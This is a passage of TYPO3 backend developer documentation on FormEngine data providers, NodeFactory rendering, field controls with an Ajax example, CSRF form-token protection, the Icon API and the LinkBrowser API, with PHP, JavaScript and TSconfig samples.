Most custom data providers change or add existing data within the main data array. A typical use case is an additional record initialization for specific fields in $data['databaseRow'] or additional items somewhere within $data['processedTca']. The main data array is documented in FormDataCompiler->initializeResultArray().

Sometimes, own DataProviders need to add additional data that does not fit into existing places. In those cases they can add stuff to $data['customData']. This key is not filled with data by Core DataProviders and serves as a place for extensions to add things. Those data components can be used in own code parts of the rendering later. It is advisable to prefix own data in $data['customData'] with some unique key (for instance the extension name) to not collide with other data that a different extension may add.

Disable Single FormEngine Data Provider

Single data providers used in the FormEngine data compilation step can be disabled to allow extension authors to substitute existing data providers with their solutions.

As an example, if editing a full database record, the default TcaCheckboxItems could be removed by setting disabled in the tcaDatabaseRecord group in an extension's ext_localconf.php file:

EXT:my_extension/ext_localconf.php
<?php

declare(strict_types=1);

use TYPO3\CMS\Backend\Form\FormDataProvider\TcaCheckboxItems;

defined('TYPO3') or die();

$GLOBALS['TYPO3_CONF_VARS']['SYS']['formEngine']['formDataGroup']
    ['tcaDatabaseRecord'][TcaCheckboxItems::class]['disabled'] = true;
Copied!

Extension authors can then add an own data provider, which depends on the disabled one and is configured as before the next one. Therefore effectively substituting single providers with their solution if needed.

Rendering

This is the second step of the processing chain: The rendering part gets the data array prepared by FormDataCompiler and creates a result array containing HTML, CSS and JavaScript. This is then post-processed by a controller to feed it to the PageRenderer or to create an Ajax response.

The rendering is a tree: The controller initializes this by setting one container as renderType entry point within the data array, then hands over the full data array to the NodeFactory which looks up a class responsible for this renderType, and calls render() on it. A container class creates only a fraction of the full result, and delegates details to another container. The second one does another detail and calls a third one. This continues to happen until a single field should be rendered, at which point an element class is called taking care of one element.

Render tree example

Each container creates some "outer" part of the result, calls some sub-container or element, merges the sub-result with its own content and returns the merged array up again. The data array is given to each sub class along the way, and containers can add further render relevant data to it before giving it "down". The data array can not be given "up" in a changed way again. Inheritance of a data array is always top-bottom. Only HTML, CSS or JavaScript created by a sub-class is returned by the sub-class "up" again in a "result" array of a specified format.

EXT:my_extension/Classes/Containers/SomeContainer.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Containers;

use TYPO3\CMS\Backend\Form\Container\AbstractContainer;

final class SomeContainer extends AbstractContainer
{
    public function render(): array
    {
        $result = $this->initializeResultArray();
        $data = $this->data;
        $data['renderType'] = 'subContainer';
        $childArray = $this->nodeFactory->create($data)->render();
        $resultArray = $this->mergeChildReturnIntoExistingResult($result, $childArray, false);
        $result['html'] = '<h1>A headline</h1>' . $childArray['html'];
        return $result;
    }
}
Copied!

Above example lets NodeFactory find and compile some data from "subContainer", and merges the child result with its own. The helper methods initializeResultArray() and mergeChildReturnIntoExistingResult() help with combining CSS and JavaScript.

An upper container does not directly create an instance of a sub node (element or container) and never calls it directly. Instead, a node that wants to call a sub node only refers to it by a name, sets this name into the data array as $data['renderType'] and then gives the data array to the NodeFactory which determines an appropriate class name, instantiates and initializes the class, gives it the data array, and calls render() on it.

Class Inheritance

Main render class inheritance

All classes must implement NodeInterface to be routed through the NodeFactory. The AbstractNode implements some basic helpers for nodes, the two classes AbstractContainer and AbstractFormElement implement helpers for containers and elements respectively.

The call concept is simple: A first container is called, which either calls a container below or a single element. A single element never calls a container again.

NodeFactory

The NodeFactory plays an important abstraction role within the render chain: Creation of child nodes is always routed through it, and the NodeFactory takes care of finding and validating the according class that should be called for a specific renderType. This is supported by an API that allows registering new renderTypes and overriding existing renderTypes with own implementations. This is true for all classes, including containers, elements, fieldInformation, fieldWizards and fieldControls. This means the child routing can be fully adapted and extended if needed. It is possible to transparently "kick-out" a Core container and to substitute it with an own implementation.

For example, the TemplaVoila implementation needs to add additional render capabilities of the FlexForm rendering to add for instance an own multi-language rendering of flex fields. It does that by overriding the default flex container with own implementation:

EXT:my_extension/ext_localconf.php
<?php

declare(strict_types=1);

use TYPO3\CMS\Compatibility6\Form\Container\FlexFormEntryContainer;

defined('TYPO3') or die();

// Default registration of "flex" in NodeFactory:
// 'flex' => \TYPO3\CMS\Backend\Form\Container\FlexFormEntryContainer::class,

// Register language-aware FlexForm handling in FormEngine
$GLOBALS['TYPO3_CONF_VARS']['SYS']['formEngine']['nodeRegistry'][1443361297] = [
    'nodeName' => 'flex',
    'priority' => 40,
    'class' => FlexFormEntryContainer::class,
];
Copied!

This re-routes the renderType "flex" to an own class. If multiple registrations for a single renderType exist, the one with highest priority wins.

Adding a new renderType in ext_localconf.php

EXT:my_extension/ext_localconf.php
<?php

declare(strict_types=1);

use MyVendor\CoolTagCloud\Form\Element\SelectTagCloudElement;

defined('TYPO3') or die();

// Add new field type to NodeFactory
$GLOBALS['TYPO3_CONF_VARS']['SYS']['formEngine']['nodeRegistry'][1487112284] = [
    'nodeName' => 'selectTagCloud',
    'priority' => '70',
    'class' => SelectTagCloudElement::class,
];
Copied!

And use it in TCA for a specific field, keeping the full database functionality in DataHandler together with the data preparation of FormDataCompiler, but just routing the rendering of that field to the new element:

EXT:cool_tag_cloud/Configuration/TCA/overrides/tx_cooltagcloud.php
<?php

defined('TYPO3') or die();

$GLOBALS['TCA']['tx_cooltagcloud']['columns']['my_field'] = [
    'label' => 'Cool Tag cloud',
    'config' => [
        'type' => 'select',
        'renderType' => 'selectTagCloud',
        'foreign_table' => 'tx_cooltagcloud_availableTags',
    ],
];
Copied!

The above examples are a static list of nodes that can be changed by settings in ext_localconf.php. If that is not enough, the NodeFactory can be extended with a resolver that is called dynamically for specific renderTypes. This resolver gets the full current data array at runtime and can either return NULL saying "not my job", or return the name of a class that should handle this node.

An example of this are the Core internal rich text editors. Both "ckeditor" and "rtehtmlarea" register a resolver class that are called for node name "text", and if the TCA config enables the editor, and if the user has enabled rich text editing in his user settings, then the resolvers return their own RichTextElement class names to render a given text field:

EXT:my_extension/ext_localconf.php
<?php

declare(strict_types=1);

use TYPO3\CMS\RteCKEditor\Form\Resolver\RichTextNodeResolver;

defined('TYPO3') or die();

// Register FormEngine node type resolver hook to render RTE in FormEngine if enabled
$GLOBALS['TYPO3_CONF_VARS']['SYS']['formEngine']['nodeResolver'][1480314091] = [
    'nodeName' => 'text',
    'priority' => 50,
    'class' => RichTextNodeResolver::class,
];
Copied!

The trick here is that CKEditor registers his resolver with a higher priority (50) than "rtehtmlarea" (40), so the "ckeditor" resolver is called first and wins if both extensions are loaded and if both return a valid class name.

Result Array

Each node, no matter if it is a container, an element, or a node expansion, must return an array with specific data keys it wants to add. It is the job of the parent node that calls the sub node to merge child node results into its own result. This typically happens by merging $childResult['html'] into an appropriate position of own HTML, and then calling $this->mergeChildReturnIntoExistingResult() to add other array child demands like stylesheetFiles into its own result.

Container and element nodes should use the helper method $this->initializeResultArray() to have a result array initialized that is understood by a parent node.

Only if extending existing element via node expansion, the result array of a child can be slightly different. For instance, a FieldControl "wizards" must have a iconIdentifier result key key. Using $this->initializeResultArray() is not appropriate in these cases but depends on the specific expansion type. See below for more details on node expansion.

The result array for container and element nodes looks like this. $resultArray = $this->initializeResultArray() takes care of basic keys:

[
    'html' => '',
    'additionalInlineLanguageLabelFiles' => [],
    'stylesheetFiles' => [],
    'javaScriptModules' => $javaScriptModules,
    /** @deprecated requireJsModules will be removed in TYPO3 v13.0 */
    'requireJsModules' => [],
    'inlineData' => [],
    'html' => '',
]
Copied!

CSS and language labels (which can be used in JS) are added with their file names in format EXT:my_extension/path/to/file.

Adding JavaScript modules

JavaScript is added as ES6 modules using the function JavaScriptModuleInstruction::create().

You can for example use it in a container:

EXT:my_extension/Classes/Backend/SomeContainer.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Backend;

use TYPO3\CMS\Backend\Form\Container\AbstractContainer;
use TYPO3\CMS\Core\Page\JavaScriptModuleInstruction;

final class SomeContainer extends AbstractContainer
{
    public function render(): array
    {
        $resultArray = $this->initializeResultArray();
        $resultArray['javaScriptModules'][] =
            JavaScriptModuleInstruction::create('@myvendor/my_extension/my-javascript.js');
        // ...
        return $resultArray;
    }
}
Copied!

Or a controller:

EXT:my_extension/Classes/Backend/Controller/SomeController.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Backend\Controller;

use Psr\Http\Message\ResponseInterface;
use Psr\Http\Message\ServerRequestInterface;
use TYPO3\CMS\Core\Page\JavaScriptModuleInstruction;
use TYPO3\CMS\Core\Page\PageRenderer;

final class SomeController
{
    public function __construct(private readonly PageRenderer $pageRenderer) {}

    public function mainAction(ServerRequestInterface $request): ResponseInterface
    {
        $javaScriptRenderer = $this->pageRenderer->getJavaScriptRenderer();
        $javaScriptRenderer->addJavaScriptModuleInstruction(
            JavaScriptModuleInstruction::create('@myvendor/my_extension/my-service.js')
                ->invoke('someFunction'),
        );
        // ...
        return $this->pageRenderer->renderResponse();
    }
}
Copied!

Node Expansion

The "node expansion" classes FieldControl, FieldInformation and FieldWizard are called by containers and elements and allow "enriching" containers and elements. Which enrichments are called can be configured via TCA.

FieldInformation
Additional information. In elements, their output is shown between the field label and the element itself. They can not add functionality, but only simple and restricted HTML strings. No buttons, no images. An example usage could be an extension that auto-translates a field content and outputs an information like "Hey, this field was auto-filled for you by an automatic translation wizard. Maybe you want to check the content".
FieldWizard
Wizards shown below the element. "enrich" an element with additional functionality. The localization wizard and the file upload wizard of type=group fields are examples of that.
FieldControl
"Buttons", usually shown next to the element. For type=group the "list" button and the "element browser" button are examples. A field control must return an icon identifier.

Currently, all elements usually implement all three of these, except in cases where it does not make sense. This API allows adding functionality to single nodes, without overriding the whole node. Containers and elements can come with default expansions (and usually do). TCA configuration can be used to add own stuff. On container side the implementation is still basic, only OuterWrapContainer and InlineControlContainer currently implement FieldInformation and FieldWizard.

See the TCA reference ctrl section for more information on how to configure these for containers in TCA.

Example. The InputTextElement (standard input element) defines a couple of default wizards and embeds them in its main result HTML:

EXT:my_extension/Classes/Backend/Form/InputTextElement.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Backend\Form;

use TYPO3\CMS\Backend\Form\Element\AbstractFormElement;

final class InputTextElement extends AbstractFormElement
{
    protected $defaultFieldWizard = [
        'localizationStateSelector' => [
            'renderType' => 'localizationStateSelector',
        ],
        'otherLanguageContent' => [
            'renderType' => 'otherLanguageContent',
            'after' => [
                'localizationStateSelector',
            ],
        ],
        'defaultLanguageDifferences' => [
            'renderType' => 'defaultLanguageDifferences',
            'after' => [
                'otherLanguageContent',
            ],
        ],
    ];

    public function render(): array
    {
        $resultArray = $this->initializeResultArray();

        $fieldWizardResult = $this->renderFieldWizard();
        $fieldWizardHtml = $fieldWizardResult['html'];
        $resultArray = $this->mergeChildReturnIntoExistingResult($resultArray, $fieldWizardResult, false);

        $mainFieldHtml = [];
        $mainFieldHtml[] = '<div class="form-control-wrap">';
        $mainFieldHtml[] =  '<div class="form-wizards-wrap">';
        $mainFieldHtml[] =      '<div class="form-wizards-element">';
        // Main HTML of element done here ...
        $mainFieldHtml[] =      '</div>';
        $mainFieldHtml[] =      '<div class="form-wizards-items-bottom">';
        $mainFieldHtml[] =          $fieldWizardHtml;
        $mainFieldHtml[] =      '</div>';
        $mainFieldHtml[] =  '</div>';
        $mainFieldHtml[] = '</div>';

        $resultArray['html'] = implode(LF, $mainFieldHtml);
        return $resultArray;
    }
}
Copied!

This element defines three wizards to be called by default. The renderType concept is re-used, the values localizationStateSelector are registered within the NodeFactory and resolve to class names. They can be overridden and extended like all other nodes. The $defaultFieldWizards are merged with TCA settings by the helper method renderFieldWizards(), which uses the DependencyOrderingService again.

It is possible to:

  • Override existing expansion nodes with own ones from extensions, even using the resolver mechanics is possible.
  • It is possible to disable single wizards via TCA
  • It is possible to add own expansion nodes at any position relative to the other nodes by specifying "before" and "after" in TCA.

Add fieldControl Example

To illustrate the principals discussed in this chapter see the following example which registers a fieldControl (button) next to a field in the pages table to trigger a data import via Ajax.

Add a new renderType in ext_localconf.php:

EXT:my_extension/ext_localconf.php
<?php

declare(strict_types=1);

use MyVendor\MyExtension\FormEngine\FieldControl\ImportDataControl;

defined('TYPO3') or die();

$GLOBALS['TYPO3_CONF_VARS']['SYS']['formEngine']['nodeRegistry'][1485351217] = [
    'nodeName' => 'importDataControl',
    'priority' => 30,
    'class' => ImportDataControl::class,
];
Copied!

Register the control in Configuration/TCA/Overrides/pages.php:

EXT:my_extension/Configuration/TCA/Overrides/pages.php
<?php

defined('TYPO3') or die();

(static function (): void {
    $langFile = 'LLL:EXT:my_extension/Ressources/Private/Language/locallang.xlf';

    $GLOBALS['TCA']['pages']['columns']['somefield'] = [
        'label' => $langFile . ':pages.somefield',
        'config' => [
            'type' => 'input',
            'eval' => 'int, unique',
            'fieldControl' => [
                'my_fieldControl_identifier' => [
                    'renderType' => 'importDataControl',
                ],
            ],
        ],
    ];
})();
Copied!

Add the PHP class for rendering the control in Classes/FormEngine/FieldControl/ImportDataControl.php:

EXT:my_extension/Classes/FormEngine/FieldControl/ImportDataControl.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\FormEngine\FieldControl;

use TYPO3\CMS\Backend\Form\AbstractNode;
use TYPO3\CMS\Core\Information\Typo3Version;

final class ImportDataControl extends AbstractNode
{
    private string $langFile = 'LLL:EXT:my_extension/Ressources/Private/Language/locallang_db.xlf';

    public function __construct(private readonly Typo3Version $typo3Version) {}

    public function render(): array
    {
        $result = [
            'iconIdentifier' => 'import-data',
            'title' => $GLOBALS['LANG']->sL($this->langFile . ':pages.importData'),
            'linkAttributes' => [
                'class' => 'importData ',
                'data-id' => $this->data['databaseRow']['somefield'],
            ],
            'javaScriptModules' => ['@my_vendor/my_extension/import-data.js'],
        ];

        /** @deprecated remove on dropping TYPO3 v11 support */
        if ($this->typo3Version->getMajorVersion() < 12) {
            unset($result['javaScriptModules']);
            $result['requireJsModules'] = ['TYPO3/CMS/Something/ImportData'];
        }

        return $result;
    }
}
Copied!

Add the JavaScript for defining the behavior of the control in Resources/Public/JavaScript/ImportData.js:

EXT:my_extension/Resources/Public/JavaScript/ImportData.js
/**
 * Module: TYPO3/CMS/Something/ImportData
 *
 * JavaScript to handle data import
 * @exports TYPO3/CMS/Something/ImportData
 */
define(function () {
  'use strict';

  /**
   * @exports TYPO3/CMS/Something/ImportData
   */
  var ImportData = {};

  /**
   * @param {int} id
   */
  ImportData.import = function (id) {
    $.ajax({
      type: 'POST',
      url: TYPO3.settings.ajaxUrls['something-import-data'],
      data: {
        'id': id
      }
    }).done(function (response) {
      if (response.success) {
        top.TYPO3.Notification.success('Import Done', response.output);
      } else {
        top.TYPO3.Notification.error('Import Error!');
      }
    });
  };

  /**
   * initializes events using deferred bound to document
   * so Ajax reloads are no problem
   */
  ImportData.initializeEvents = function () {

    $('.importData').on('click', function (evt) {
      evt.preventDefault();
      ImportData.import($(this).attr('data-id'));
    });
  };

  $(ImportData.initializeEvents);

  return ImportData;
});
Copied!

Add an Ajax route for the request in Configuration/Backend/AjaxRoutes.php:

EXT:my_extension/Configuration/Backend/AjaxRoutes.php
<?php

use MyVendor\MyExtension\Controller\Ajax\ImportDataController;

return [
    'something-import-data' => [
        'path' => '/something/import-data',
        'target' => ImportDataController::class . '::importDataAction',
    ],
];
Copied!

Add the Ajax controller class in Classes/Controller/Ajax/ImportDataController.php:

EXT:my_extension/Classes/Controller/Ajax/ImportDataController.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Controller\Ajax;

use Psr\Http\Message\ResponseInterface;
use Psr\Http\Message\ServerRequestInterface;
use TYPO3\CMS\Core\Http\JsonResponse;

final class ImportDataController
{
    public function importDataAction(ServerRequestInterface $request): ResponseInterface
    {
        $queryParameters = $request->getParsedBody();
        $id = (int)($queryParameters['id'] ?? 0);

        if ($id === 0) {
            return new JsonResponse(['success' => false]);
        }
        $param = ' -id=' . $id;

        // trigger data import (simplified as example)
        $output = shell_exec('.' . DIRECTORY_SEPARATOR . 'import.sh' . $param);

        return new JsonResponse(['success' => true, 'output' => $output]);
    }
}
Copied!

Form protection tool

The TYPO3 Core provides a generic way of protecting forms against cross-site request forgery (CSRF).

For each form in the backend/frontend (or link that changes some data), create a token and insert it as a hidden form element. The name of the form element does not matter; you only need it to get the form token for verifying it.

Examples

EXT:my_extension/Classes/Controller/FormProtectionExample.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Controller;

use Psr\Http\Message\ResponseInterface;
use Psr\Http\Message\ServerRequestInterface;
use TYPO3\CMS\Core\FormProtection\FormProtectionFactory;

final class FormProtectionExample
{
    public function __construct(
        private readonly FormProtectionFactory $formProtectionFactory,
    ) {}

    public function handleRequest(ServerRequestInterface $request): ResponseInterface
    {
        $formProtection = $this->formProtectionFactory->createFromRequest($request);

        $formToken = $formProtection->generateToken('BE user setup', 'edit');

        $content = '<input type="hidden" name="formToken" value="' . $formToken . '">';

        // ... some more logic ...
    }
}
Copied!

The three parameters of the generateToken() method:

  • $formName
  • $action (optional)
  • $formInstanceName (optional)

can be arbitrary strings, but they should make the form token as specific as possible. For different forms (for example, BE user setup and editing a tt_content record) or different records (with different UIDs) from the same table, those values should be different.

For editing a tt_content record, the call could look like this:

EXT:my_extension/Classes/Controller/FormProtectionExample.php (Excerpt)
$formToken = $formProtection->generateToken('tt_content', 'edit', (string)$uid);
Copied!

When processing the data that has been submitted by the form, you can check that the form token is valid like this:

EXT:my_extension/Classes/Controller/FormProtectionExample.php (Excerpt)
if ($dataHasBeenSubmitted &&
    $formProtection->validateToken(
        $request->getParsedBody()['formToken'] ?? '',
        'BE user setup',
        'edit'
    ) ) {
    // process the data
} else {
    // No need to do anything here, as the backend form protection will
    // create a flash message for an invalid token
}
Copied!

As it is recommended to use FormProtectionFactory->createForRequest() to auto-detect which type is needed, one can also create a specific type directly:

EXT:my_extension/Classes/Controller/FormProtectionExample.php (Excerpt)
// For backend
$formProtection = $this->formProtectionFactory->createFromType('backend');

// For frontend
$formProtection = $this->formProtectionFactory->createFromType('frontend');
Copied!

Constants

Constants in TYPO3 define paths and database information. These values are global and cannot be changed. Constants are defined at various points during the bootstrap sequence.

To make the information below a bit more compact, namespaces were left out. Here are the fully qualified class names referred to below:

Check \TYPO3\CMS\Core\Core\SystemEnvironmentBuilder::defineBaseConstants() method for more constants.

File types

Changed in version 13.0

The PHP backed enum \TYPO3\CMS\Core\Resource\FileType has been introduced as a drop-in replacement for the public FILETYPE_* constants in \TYPO3\CMS\Core\Resource\AbstractFile . The constants have been removed with TYPO3 v14.0.

Different types of file constants are defined in the enum \TYPO3\CMS\Core\Resource\FileType . These cases are available for different groups of files as documented in https://www.iana.org/assignments/media-types/media-types.xhtml

These file types are assigned to all FAL resources. They can, for example, be used in Fluid to decide how to render different types of files.

Enum case Value Description
FileType::UNKNOWN 0 Unknown
FileType::TEXT 1 Any kind of text
FileType::IMAGE 2 Any kind of image
FileType::AUDIO 3 Any kind of audio
FileType::VIDEO 4 Any kind of video
FileType::APPLICATION 5 Any kind of application

HTTP status codes

The different status codes available are defined in EXT:core/Classes/Utility/HttpUtility.php (GitHub). These constants are defined as documented in https://www.iana.org/assignments/http-status-codes/http-status-codes.xhtml

Icon API

TYPO3 provides an icon API for all icons in the TYPO3 backend.

Registration

All icons must be registered in the icon registry. To register icons for your own extension, create a file called Configuration/Icons.php in your extension - for example: EXT:my_extension/Configuration/Icons.php.

Changed in version 14.0

The file needs to return a PHP configuration array with the following keys:

EXT:my_extension/Configuration/Icons.php
<?php

declare(strict_types=1);

use TYPO3\CMS\Core\Imaging\IconProvider\BitmapIconProvider;
use TYPO3\CMS\Core\Imaging\IconProvider\SvgIconProvider;

return [
    // Icon identifier
    'tx-myext-svgicon' => [
        // Icon provider class
        'provider' => SvgIconProvider::class,
        // The source SVG for the SvgIconProvider
        'source' => 'EXT:my_extension/Resources/Public/Icons/mysvg.svg',
    ],
    'tx-myext-bitmapicon' => [
        'provider' => BitmapIconProvider::class,
        // The source bitmap file
        'source' => 'EXT:my_extension/Resources/Public/Icons/mybitmap.png',
        // All icon providers provide the possibility to register an icon that spins
        'spinning' => true,
    ],
    'tx-myext-anothersvgicon' => [
        'provider' => SvgIconProvider::class,
        'source' => 'EXT:my_extension/Resources/Public/Icons/anothersvg.svg',
        // Since TYPO3 v12.0 an extension that provides icons for broader
        // use can mark such icons as deprecated with logging to the TYPO3
        // deprecation log. All keys (since, until, replacement) are optional.
        'deprecated' => [
            'since' => 'my extension v2',
            'until' => 'my extension v3',
            'replacement' => 'alternative-icon',
        ],
    ],
];
Copied!

Icon provider

The TYPO3 Core ships two icon providers which can be used straight away:

  • \TYPO3\CMS\Core\Imaging\IconProvider\BitmapIconProvider – For all kinds of bitmap icons (GIF, PNG, JPEG, etc.)
  • \TYPO3\CMS\Core\Imaging\IconProvider\SvgIconProvider – For SVG icons

If you need a custom icon provider, you can add your own by writing a class which implements the EXT:core/Classes/Imaging/IconProviderInterface.php (GitHub).

Using icons in your code

You can use the Icon API to receive icons in your PHP code or directly in Fluid.

The PHP way

You can use the \TYPO3\CMS\Core\Imaging\IconFactory to request an icon:

EXT:my_extension/Classes/MyClass.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension;

use TYPO3\CMS\Core\Imaging\IconFactory;
use TYPO3\CMS\Core\Imaging\IconSize;

final class MyClass
{
    public function __construct(
        private readonly IconFactory $iconFactory,
    ) {}

    public function doSomething()
    {
        $icon = $this->iconFactory->getIcon(
            'tx-myext-action-preview',
            IconSize::SMALL,
            'overlay-identifier',
        );

        // Do something with the icon, for example, assign it to the view
        // $this->view->assign('icon', $icon);
    }
}
Copied!

Changed in version 13.0

The following icon sizes are available as enum values:

  • \TYPO3\CMS\Core\Imaging\IconSize::DEFAULT: 1em, to scale with font size
  • \TYPO3\CMS\Core\Imaging\IconSize::SMALL: fixed to 16px
  • \TYPO3\CMS\Core\Imaging\IconSize::MEDIUM: fixed to 32px (used as default value in API parameters)
  • \TYPO3\CMS\Core\Imaging\IconSize::LARGE: fixed to 48px
  • \TYPO3\CMS\Core\Imaging\IconSize::MEGA: fixed to 64px

Changed in version 14.0

The icon size class constants \TYPO3\CMS\Core\Imaging\Icon::SIZE_* deprecated in v13.0 have been removed. Use the enum values described above.

The Fluid ViewHelper

You can also use the Fluid core:icon ViewHelper to render an icon in your view:

{namespace core = TYPO3\CMS\Core\ViewHelpers}
<core:icon identifier="tx-myext-svgicon" size="small" />
Copied!

This will render the desired icon using an img tag. If you prefer having the SVG inlined into your HTML (for example, for being able to change colors with CSS), you can set the optional alternativeMarkupIdentifier attribute to inline. By default, the icon will pick up the font color of its surrounding element if you use this option.

{namespace core = TYPO3\CMS\Core\ViewHelpers}
<core:icon
    identifier="tx-myext-svgicon"
    size="small"
    alternativeMarkupIdentifier="inline"
/>
Copied!

The following icon sizes are available:

  • default: 1em, to scale with font size
  • small: fixed to 16px (used as default value when not passed)
  • medium: fixed to 32px
  • large: fixed to 48px
  • mega: fixed to 64px

The JavaScript way

In JavaScript, icons can be only fetched from the Icon Registry. To achieve this, add the following dependency to your ES6 module: @typo3/backend/icons. In this section, the module is known as Icons.

The module has a single public method getIcon() which accepts up to five arguments:

identifier

| Condition: required | Type: string |

Identifier of the icon as registered in the Icon Registry.

size

| Condition: required | Type: Sizes | Default: medium |

Desired size of the icon. All values of the Sizes enum from @typo3/backend/enum/icon-types are allowed, these are:

  • default: 1em, to scale with font size
  • small: fixed to 16px
  • medium: fixed to 32px (default)
  • large: fixed to 48px
  • mega: fixed to 64px
overlayIdentifier

| Condition: optional | Type: string |

Identifier of an overlay icon as registered in the Icon Registry.

state

| Condition: optional | Type: string |

Sets the state of the icon. All values of the States enum from @typo3/backend/enum/icon-types are allowed, these are: default and disabled.

markupIdentifier

| Condition: optional | Type: string |

Defines how the markup is returned. All values of the MarkupIdentifiers enum from @typo3/backend/enum/icon-types are allowed, these are: default and inline. Please note that inline is only meaningful for SVG icons.

The method getIcon() returns a AjaxResponse Promise object, as internally an Ajax request is done.

The icons are cached in the local storage of the client to reduce the workload off the server. Here is an example code how a usage of the JavaScript Icon API may look like:

EXT:my_extension/Resources/Public/JavaScript/my-es6-module.js
import Icons from '@typo3/backend/icons.js';

class MyEs6Module {
    constructor() {
        // Get a single icon
        Icons.getIcon('spinner-circle-light', Icons.sizes.small, null, 'disabled').then((icon: string): void => {
            console.log(icon);
        });
    }
}

export default new MyEs6Module();
Copied!

Available icons

The TYPO3 Core comes with a number of icons that may be used in your extensions.

To search for available icons, you can browse through TYPO3.Icons.

Migration

The Rector v1 rule \Ssch\TYPO3Rector\Rector\v11\v4\RegisterIconToIconFileRector can be used for automatic migration.

For manual migration remove all calls to \TYPO3\CMS\Core\Imaging\IconRegistry::registerIcon() from your EXT:my_extension/ext_localconf.php and move the content to Configuration/Icons.php instead.

LinkBrowser API

Description

Each tab rendered in the link browser has an associated link handler, responsible for rendering the tab and for creating and editing of links belonging to this tab.

Here is an example for a custom link handler in the link browser:

A custom link browser to link to GitHub issues

In most use cases, you can use one of the link handlers provided by the Core. For an example, see Tutorial: Custom record link browser.

If no link handler is available to deal with your link type, you can create a custom link handler. See Tutorial: Create a custom link browser.

Tab registration

LinkBrowser tabs are registered in page TSconfig like this:

EXT:some_extension/Configuration/page.tsconfig
TCEMAIN.linkHandler.<tabIdentifier> {
    handler = TYPO3\CMS\Backend\LinkHandler\FileLinkHandler
    label = LLL:EXT:backend/Resources/Private/Language/locallang_browse_links.xlf:file
    displayAfter = page
    scanAfter = page
    configuration {
        customConfig = passed to the handler
    }
}
Copied!

The options displayBefore and displayAfter define the order how the various tabs are displayed in the LinkBrowser.

The options scanBefore and scanAfter define the order in which handlers are queried when determining the responsible tab for an existing link. Most likely your links will start with a specific prefix to identify them. Therefore you should register your tab at least before the 'url' handler, so your handler can advertise itself as responsible for the given link. The 'url' handler should be treated as last resort as it will work with any link.

The LinkHandler API

The LinkHandler API currently consists of 7 LinkHandler classes and the \TYPO3\CMS\Backend\LinkHandler\LinkHandlerInterface . The LinkHandlerInterface can be implemented to create custom LinkHandlers.

Most LinkHandlers cannot receive additional configuration, they are marked as @internal and contain neither hooks nor events. They are therefore of interest to Core developers only.

Current LinkHandlers:

  • The PageLinkHandler: for linking pages and content
  • The RecordLinkHandler: for linking any kind of record
  • UrlLinkHandler: for linking external urls
  • FileLinkHandler: for linking files in the File abstraction layer (FAL)
  • FolderLinkHandler: for linking to directories
  • MailLinkHandler: for linking email addresses
  • TelephoneLinkHandler: for linking phone numbers

The links are now stored in the database with the syntax <a href="t3://record?identifier=anIdentifier&amp;uid=456">A link</a>.

  1. TypoScript is used to generate the actual link in the frontend.

    config.recordLinks.anIdentifier {
        // Do not force link generation when the record is hidden
        forceLink = 0
        typolink {
            parameter = 123
            additionalParams.data = field:uid
            additionalParams.wrap = &tx_example_pi1[item]=|&tx_example_pi1[controller]=Item&tx_example_pi1[action]=show
        }
    }
    Copied!

LinkHandler page TSconfig options

The minimal page TSconfig configuration is:

EXT:some_extension/Configuration/page.tsconfig
TCEMAIN.linkHandler.anIdentifier {
    handler = TYPO3\CMS\Backend\LinkHandler\RecordLinkHandler
    label = LLL:EXT:extension/Resources/Private/Language/locallang.xlf:link.customTab
    configuration {
        table = tx_example_domain_model_item
    }
}
Copied!

See Link handler configuration for all available options.

Example: news records from one storage pid

The following configuration hides the page tree and shows news records only from the defined storage page:

EXT:some_extension/Configuration/page.tsconfig
TCEMAIN.linkHandler.news {
    handler = TYPO3\CMS\Backend\LinkHandler\RecordLinkHandler
    label = News
    configuration {
        table = tx_news_domain_model_news
        storagePid = 123
        hidePageTree = 1
    }
    displayAfter = email
}
Copied!

It is possible to have another configuration using another storagePid which also contains news records.

This configuration shows a reduced page tree starting at page with uid 42:

EXT:some_extension/Configuration/page.tsconfig
TCEMAIN.linkHandler.bookreports {
    handler = TYPO3\CMS\Backend\LinkHandler\RecordLinkHandler
    label = Book Reports
    configuration {
        table = tx_news_domain_model_news
        storagePid = 42
        pageTreeMountPoints = 42
        hidePageTree = 0
    }
}
Copied!

The page TSconfig of the LinkHandler is being used in sysext backend in class \TYPO3\CMS\Backend\LinkHandler\RecordLinkHandler which does not contain Hooks.

LinkHandler TypoScript options

A configuration could look like this:

EXT:some_extension/Configuration/TypoScript/setup.typoscript
config.recordLinks.anIdentifier {
    forceLink = 0

    typolink {
        parameter = 123
        additionalParams.data = field:uid
        additionalParams.wrap = &tx_example_pi1[item]=|
    }
}
Copied!

The TypoScript Configuration of the LinkHandler is being used in sysext frontend in class \TYPO3\CMS\Frontend\Typolink\DatabaseRecordLinkBuilder .

Example: news records displayed on fixed detail page

The following displays the link to the news on a detail page:

EXT:some_extension/Configuration/TypoScript/setup.typoscript
config.recordLinks.news {
   typolink {
      parameter = 123
      additionalParams.data = field:uid
      additionalParams.wrap = &tx_news_pi1[controller]=News&tx_news_pi1[action]=detail&tx_news_pi1[news]=|
   }
}
Copied!

Once more if the book reports that are also saved as tx_news_domain_model_news record should be displayed on their own detail page you can do it like this:

EXT:some_extension/Configuration/TypoScript/setup.typoscript
config.recordLinks.bookreports  {
   typolink {
      parameter = 987
      additionalParams.data = field:uid
      additionalParams.wrap = &tx_news_pi1[controller]=News&tx_news_pi1[action]=detail&tx_news_pi1[news]=|
   }
}
Copied!

The PageLinkHandler

The PageLinkHandler enables editors to link to pages and content.

It is implemented in class \TYPO3\CMS\Backend\LinkHandler\PageLinkHandler of the system extension backend. The class is marked as @internal and contains neither hooks nor events.

The PageLinkHandler is preconfigured in the page TSconfig as:

EXT:some_extension/Configuration/page.tsconfig
TCEMAIN.linkHandler {
   page {
      handler = TYPO3\CMS\Backend\LinkHandler\PageLinkHandler
      label = LLL:EXT:backend/Resources/Private/Language/locallang_browse_links.xlf:page
   }
}
Copied!

Enable direct input of the page id

It is possible to enable an additional field in the link browser to enter the uid of a page. The uid will be used directly instead of selecting it from the page tree.

The link browser field for entering a page uid.

